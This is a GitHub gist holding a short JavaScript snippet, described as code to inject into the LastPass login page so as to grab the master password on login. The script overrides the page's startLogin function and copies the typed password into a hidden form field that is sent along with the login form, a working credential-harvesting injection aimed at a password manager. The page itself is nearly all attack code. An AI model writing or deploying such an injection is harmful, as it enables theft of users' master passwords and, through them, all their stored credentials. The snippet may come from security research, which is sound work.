Created
May 26, 2020 09:24
-
-
Save pberba/a9a5f5a34fd1b94c0c28e4719dc37ceb to your computer and use it in GitHub Desktop.
Javascript to inject in LastPass login page to be able to grab the master password on login
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// We override the startLogin function | |
if ((typeof _startLogin === 'undefined') && (typeof startLogin !== 'undefined')) { | |
_startLogin = startLogin; | |
startLogin = function() { | |
var form = document.getElementById("loginform"); | |
var hidden_password = document.getElementById("_password"); | |
if(!hidden_password) { | |
hidden_password = document.createElement("input"); | |
hidden_password.type = "hidden"; | |
hidden_password.id = "_password"; | |
hidden_password.name = "_password"; | |
form.appendChild(hidden_password); | |
} | |
var password = document.querySelector("#password").value; | |
hidden_password.value = password; | |
_startLogin(); | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment